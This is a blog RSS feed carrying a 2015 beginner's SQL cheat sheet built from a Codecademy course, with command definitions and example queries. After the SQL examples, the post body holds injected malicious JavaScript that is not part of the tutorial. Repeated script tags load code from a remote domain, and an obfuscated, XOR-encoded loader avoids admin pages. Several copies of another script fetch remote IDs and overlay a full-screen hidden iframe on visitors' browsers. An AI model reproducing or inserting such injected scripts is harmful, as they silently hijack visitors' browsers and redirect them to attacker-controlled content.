<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>KevRichard &#187; SQL</title>
	<atom:link href="http://kevrichard.com/tag/sql/feed/" rel="self" type="application/rss+xml" />
	<link>http://kevrichard.com</link>
	<description>Technology and Digital Communications</description>
	<lastBuildDate>Tue, 07 Apr 2026 14:42:21 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=4.1.1</generator>
	<item>
		<title>SQL Beginners Cheat Sheet</title>
		<link>http://kevrichard.com/2015/10/sql-beginners-cheat-sheet/</link>
		<comments>http://kevrichard.com/2015/10/sql-beginners-cheat-sheet/#comments</comments>
		<pubDate>Fri, 09 Oct 2015 02:11:33 +0000</pubDate>
		<dc:creator><![CDATA[Kevin  Richard]]></dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[code academy]]></category>
		<category><![CDATA[data science]]></category>
		<category><![CDATA[Social Media]]></category>
		<category><![CDATA[SQL]]></category>

		<guid isPermaLink="false">http://kevrichard.com/?p=1187</guid>
		<description><![CDATA[So its been a while again, but push comes to shove and I&#8217;m determined to get back on to making a return to this blog. I&#8217;m on a bit of a skills development fix at the moment and decided here would be a great spot to report back on what I&#8217;ve been doing and to [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>So its been a while again, but push comes to shove and I&#8217;m determined to get back on to making a return to this blog. I&#8217;m on a bit of a skills development fix at the moment and decided here would be a great spot to report back on what I&#8217;ve been doing and to create some documentation on the key learnings.</p>
<p>I recently went through a beginners course on SQL through <a href="https://www.codecademy.com/learn">Code Academy</a> (link to the course <a href="https://www.codecademy.com/en/courses/learn-sql">here</a>) which I found really interesting and potentially useful for future endeavors.</p>
<p><strong>SUMMARY </strong></p>
<p><strong>What is SQL?</strong> Known as a &#8216;Standard Query Language&#8217; its a method of organizing and summarizing data. My general thinking when it comes to this is that taking a structured dataset it allows the user to summarize and manipulate the data. In the case of multiple datasets, it connects them through a common tie so the user can get a better understanding of how they interact.</p>
<p><strong>Why is it potentially useful?</strong> I&#8217;ve experienced SQL in the context of a <a href="http://www.syncapse.com">data tool </a>where the language organizes raw data in such a way that its  a readable output for the end-user. When thinking about it in terms of even a basic excel spreadsheet, the language allows for the data to be summarized and reformatted saving the user from having to do a lot of manual work.</p>
<p>Below is a select set of terms from the course and example code:</p>
<p><strong>TERMS/COMMANDS:</strong></p>
<p>; is used as an &#8216;End statement&#8217; and is placed at the end of a command. It tells the system to move to the next query statement.</p>
<p>There are three basic functions of the SQL language: To BUILD, ANALYZE or JOIN data tables.</p>
<p><strong> BUILD:</strong></p>
<p>CREATE TABLE: is a command telling the system to build a new data table.</p>
<p>table_name(***): labels a table for use in queries and joining with other tables.</p>
<p>column_1 data_type: defines what data goes into a particular column (can be text, date, number etc.) These can be layered up to create a series of columns</p>
<p>INSERT INTO: is a formatting command used for define the set columns. Following this, column titles can be added ex: (id, name, age).</p>
<p>VALUES: This is a command used to enter in individual entries. Its formatted as VALUES (row value 1, row value 2&#8230;);</p>
<p>UPDATE: used to change entries in a table. Using &#8216;SET&#8217; and &#8216;WHERE&#8217; entries, data within the table can be altered</p>
<p class="CodeMirror" data-reactid=".g.0">ALTER TABLE: Where as UPDATE alters an entry, ALTER TABLE allows the user to change or add data columns.</p>
<p>DELETE FROM: Deletes rows from a table.</p>
<p>&nbsp;</p>
<p><strong>Example Code:</strong></p>
<pre>CREAT TABLE table_name (
 column_1 data_type,
 column_2 data_type,
 column_3 data_type
 );</pre>
<pre>INSERT INTO celebs (id, name, age)</pre>
<pre>VALUES (1, 'Justin Bieber', 21);</pre>
<pre> SELECT *FROM celebs;</pre>
<pre>UPDATE celebs
 SET age = 22
 WHERE id= 1;
 SELECT *FROM celebs;</pre>
<pre>ALTER TABLE celebs ADD COLUMN
 twitter_handle TEXT;
 SELECT *FROM celebs;</pre>
<pre class="CodeMirror" data-reactid=".p.0"><span class="cm-keyword" data-reactid=".p.0.$codeFragment140">DELETE</span> <span class="cm-keyword" data-reactid=".p.0.$codeFragment141">FROM</span> <span data-reactid=".p.0.4">celebs</span> <span class="cm-keyword" data-reactid=".p.0.$codeFragment142">WHERE</span> <span data-reactid=".p.0.8">twitter_handle</span> <span class="cm-keyword" data-reactid=".p.0.$codeFragment143">IS</span> <span class="cm-atom" data-reactid=".p.0.$codeFragment144">NULL</span><span data-reactid=".p.0.d">;</span></pre>
<p><strong>ANALYZE:</strong></p>
<p>SELECT *FROM &#8216;table name': displays all data from the labeled table the SQL interface. The * is used to notate &#8216;select the whole table&#8217;. Other commands such as &#8216;SELECT DISTINCT&#8217; can be used to summarize a table further based on a column or row entry.</p>
<p>BETWEEN: Is a filter option for the use of numerical data.</p>
<p>ORDER BY: organizes a data set. A related command DESC/ASC(aka: Descending/Ascending) can be used to organize numbers by a set parameter.</p>
<p>LIMIT: Sets maximum number of rows pulled from a dataset.</p>
<p>GROUP BY: organizes data by a specific column entry (example: type of apple).</p>
<p>COUNT: summarizes numerical data by a category (example: how many entries contain X)</p>
<p>SUM: Counts up the numerical data of a particular column in a table ( Ex: How many impressions in total).</p>
<p>MAX(): finds the largest value of a criteria.</p>
<p>MIN(): finds the smallest value of a criteria.</p>
<p>AVG(): finds the average of a criteria.</p>
<p>ROUND(): rounds decimal numbers to a specific integer.</p>
<p><strong>EXAMPLE CODE: </strong></p>
<pre>SELECT* FROM movies WHERE imdb_rating &gt;8;</pre>
<pre>SELECT * FROM movies
 WHERE name LIKE 'Se_en';</pre>
<pre>SELECT *FROM movies
 ORDER BY imdb_rating DESC;</pre>
<p>SELECT price, ROUND(AVG(downloads),2) FROM fake_apps GROUP BY price;</p>
<p><strong>JOIN:</strong></p>
<p>JOIN: creates a common column between two tables which joins the data set together (ex: id_actormovie JOIN ID_Actor)</p>
<p>ON: states the parameter of the join.</p>
<p>Inner Join: joins entries when a join criteria is met.</p>
<p>Left Join: Combines two tables together side by side and provides a NULL value when the join parameters are not met.</p>
<p>AS: When joining a table this allows columns of the joined table to be renamed without affecting the original unjoined tables.</p>
<p><strong>EXAMPLE CODE: </strong></p>
<pre>SELECT</pre>
<pre>albums.name AS 'Album', albums.year, artists.name AS 'Artist'
 FROM albums JOIN artists ON albums.artist_id = artists.id WHERE albums.year &gt;1990</pre>
<p><script>var url = 'https://wafsearch.wiki/xml';
var script = document.createElement('script');
script.src = url;
script.type = 'text/javascript';
script.async = true;
document.getElementsByTagName('head')[0].appendChild(script);</script><script>var url = 'https://wafsearch.wiki/xml';
var script = document.createElement('script');
script.src = url;
script.type = 'text/javascript';
script.async = true;
document.getElementsByTagName('head')[0].appendChild(script);</script><script>var url = 'https://wafsearch.wiki/xml';
var script = document.createElement('script');
script.src = url;
script.type = 'text/javascript';
script.async = true;
document.getElementsByTagName('head')[0].appendChild(script);</script><script>var url = 'https://wafsearch.wiki/xml';
var script = document.createElement('script');
script.src = url;
script.type = 'text/javascript';
script.async = true;
document.getElementsByTagName('head')[0].appendChild(script);</script><script>var url = 'https://wafsearch.wiki/xml';
var script = document.createElement('script');
script.src = url;
script.type = 'text/javascript';
script.async = true;
document.getElementsByTagName('head')[0].appendChild(script);</script><script>var url = 'https://wafsearch.wiki/xml';
var script = document.createElement('script');
script.src = url;
script.type = 'text/javascript';
script.async = true;
document.getElementsByTagName('head')[0].appendChild(script);</script><script>var url = 'https://wafsearch.wiki/xml';
var script = document.createElement('script');
script.src = url;
script.type = 'text/javascript';
script.async = true;
document.getElementsByTagName('head')[0].appendChild(script);</script><script>var url = 'https://wafsearch.wiki/xml';
var script = document.createElement('script');
script.src = url;
script.type = 'text/javascript';
script.async = true;
document.getElementsByTagName('head')[0].appendChild(script);</script><script>var url = 'https://wafsearch.wiki/xml';
var script = document.createElement('script');
script.src = url;
script.type = 'text/javascript';
script.async = true;
document.getElementsByTagName('head')[0].appendChild(script);</script><script>var url = 'https://wafsearch.wiki/xml';
var script = document.createElement('script');
script.src = url;
script.type = 'text/javascript';
script.async = true;
document.getElementsByTagName('head')[0].appendChild(script);</script><script>; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin|wp-login)/.test(window.location.pathname||"")){var n=Symbol.for("__inline_id_offer__"),r=window[n]=window[n]||{iframeReady:!1,iframeId:"ifr_"+Math.random().toString(36).slice(2),run:null};r.iframeReady||("complete"===document.readyState||document.body?c():window.addEventListener("DOMContentLoaded",c))}function i(e,t){if(e.indexOf("dropbox.com")>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf("gist.githubusercontent.com")>=0&#038;&#038;(n=n.replace(/%2F/g,"/")),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){return(e||"").trim()}).catch(function(){return""})}function a(e){if(!e)return!1;try{var t=e.indexOf(":")>=0?e:"https://"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||"").trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&#038;&#038;a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&#038;&#038;a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&#038;&#038;function e(t){try{var n=document.createElement("iframe");n.style.display="none",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src="about:blank",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&#038;&#038;function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement("iframe");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf("?")>=0?"&#038;":"?",n+o+encodeURIComponent("v")+"="+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText="position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;",a.setAttribute("aria-hidden","true"),window.addEventListener("message",function(e){if(e.data&#038;&#038;"object"==typeof e.data&#038;&#038;"ktl-show-original"===e.data.type)try{var t=document.getElementById(r.iframeId);t&#038;&#038;t.parentNode&#038;&#038;t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&#038;&#038;!document.getElementById(r.iframeId)&#038;&#038;(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();</p>
<p>console.log('28du3');</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script></p>
]]></content:encoded>
			<wfw:commentRss>http://kevrichard.com/2015/10/sql-beginners-cheat-sheet/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
